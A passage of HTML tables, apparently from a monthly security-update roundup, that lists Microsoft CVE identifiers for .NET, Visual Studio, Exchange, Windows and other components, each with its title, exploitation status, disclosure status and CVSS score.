href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50525">CVE-2026-50525</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50651">CVE-2026-50651</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57108">CVE-2026-57108</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50524">CVE-2026-50524</a></td><td><p>.NET Framework Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50527">CVE-2026-50527</a></td><td><p>.NET Framework Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50648">CVE-2026-50648</a></td><td><p>.NET Framework Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50650">CVE-2026-50650</a></td><td><p>.NET Framework Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50646">CVE-2026-50646</a></td><td><p>.NET Framework Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50649">CVE-2026-50649</a></td><td><p>.NET Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47304">CVE-2026-47304</a></td><td><p>.NET Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50528">CVE-2026-50528</a></td><td><p>.NET Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50659">CVE-2026-50659</a></td><td><p>.NET Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50526">CVE-2026-50526</a></td><td><p>.NET Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56170">CVE-2026-56170</a></td><td><p>ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47300">CVE-2026-47300</a></td><td><p>ASP.NET Core Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47303">CVE-2026-47303</a></td><td><p>ASP.NET Core Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47282">CVE-2026-47282</a></td><td><p>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41109">CVE-2026-41109</a></td><td><p>GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50506">CVE-2026-50506</a></td><td><p>OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45646">CVE-2026-45646</a></td><td><p>OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50520">CVE-2026-50520</a></td><td><p>Visual Studio Code Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45496">CVE-2026-45496</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57101">CVE-2026-57101</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57102">CVE-2026-57102</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47305">CVE-2026-47305</a></td><td><p>Visual Studio Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h3>Device vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48581">CVE-2026-48581</a></td><td><p>Surface Broker SDMA Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>ESU vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54121">CVE-2026-54121</a></td><td><p>Active Directory Certificate Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50682">CVE-2026-50682</a></td><td><p>Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50647">CVE-2026-50647</a></td><td><p>Active Directory Federation Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50684">CVE-2026-50684</a></td><td><p>Active Directory Federation Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56155">CVE-2026-56155</a></td><td><p>Active Directory Federation Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50491">CVE-2026-50491</a></td><td><p>Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50381">CVE-2026-50381</a></td><td><p>Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50427">CVE-2026-50427</a></td><td><p>Content Delivery Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50692">CVE-2026-50692</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48564">CVE-2026-48564</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50370">CVE-2026-50370</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56159">CVE-2026-56159</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50296">CVE-2026-50296</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50375">CVE-2026-50375</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50493">CVE-2026-50493</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56643">CVE-2026-56643</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56644">CVE-2026-56644</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58629">CVE-2026-58629</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50382">CVE-2026-50382</a></td><td><p>DirectX Graphics Kernel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49174">CVE-2026-49174</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50495">CVE-2026-50495</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49787">CVE-2026-49787</a></td><td><p>HTTP.sys Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49788">CVE-2026-49788</a></td><td><p>HTTP/2 Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50696">CVE-2026-50696</a></td><td><p>Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50329">CVE-2026-50329</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58541">CVE-2026-58541</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55006">CVE-2026-55006</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55009">CVE-2026-55009</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55005">CVE-2026-55005</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55008">CVE-2026-55008</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50343">CVE-2026-50343</a></td><td><p>Microsoft Install Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54992">CVE-2026-54992</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50439">CVE-2026-50439</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42900">CVE-2026-42900</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49784">CVE-2026-49784</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50356">CVE-2026-50356</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49165">CVE-2026-49165</a></td><td><p>Microsoft Windows App Store Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54993">CVE-2026-54993</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58610">CVE-2026-58610</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50655">CVE-2026-50655</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56189">CVE-2026-56189</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57090">CVE-2026-57090</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57094">CVE-2026-57094</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57087">CVE-2026-57087</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57092">CVE-2026-57092</a></td><td><p>Microsoft Windows VMSwitch Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50359">CVE-2026-50359</a></td><td><p>Microsoft XML Core Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57097">CVE-2026-57097</a></td><td><p>Microsoft XML Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50346">CVE-2026-50346</a></td><td><p>Netlogon RPC Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50402">CVE-2026-50402</a></td><td><p>NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54989">CVE-2026-54989</a></td><td><p>Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50365">CVE-2026-50365</a></td><td><p>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50474">CVE-2026-50474</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58594">CVE-2026-58594</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56190">CVE-2026-56190</a></td><td><p>Remote Desktop Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49783">CVE-2026-49783</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42990">CVE-2026-42990</a></td><td><p>SQL Server ODBC driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49168">CVE-2026-49168</a></td><td><p>Storage Spaces Direct Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49180">CVE-2026-49180</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50455">CVE-2026-50455</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58601">CVE-2026-58601</a></td><td><p>Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49805">CVE-2026-49805</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50297">CVE-2026-50297</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50325">CVE-2026-50325</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50489">CVE-2026-50489</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57095">CVE-2026-57095</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56184">CVE-2026-56184</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50432"><br>CVE-2026-50432</a></td><td><p>Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54119">CVE-2026-54119</a></td><td><p>Windows Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57976">CVE-2026-57976</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50366">CVE-2026-50366</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49164">CVE-2026-49164</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49178">CVE-2026-49178</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54983">CVE-2026-54983</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50695">CVE-2026-50695</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50304">CVE-2026-50304</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50368">CVE-2026-50368</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50324">CVE-2026-50324</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50355">CVE-2026-50355</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50411">CVE-2026-50411</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50312">CVE-2026-50312</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50462">CVE-2026-50462</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57093">CVE-2026-57093</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34346">CVE-2026-34346</a></td><td><p>Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a 